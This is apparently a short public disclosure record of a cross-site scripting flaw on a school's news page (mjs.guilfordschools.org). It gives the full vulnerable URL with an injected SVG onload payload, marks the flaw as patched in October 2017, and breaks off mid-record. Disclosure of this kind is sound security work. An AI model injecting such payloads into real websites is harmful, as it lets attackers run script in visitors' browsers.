mjs.guilfordschools.org XSS vulnerability

Vulnerable URL: http://mjs.guilfordschools.org/apps/news/shownews.jsp?RECID=419315=0=News%20Post%20MJS%20Rocks%20the%20Guilford%20Parade!%20-%20Melissa%20Jones%20Elementary%20School%3C/title%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 15.10.2017 Latest...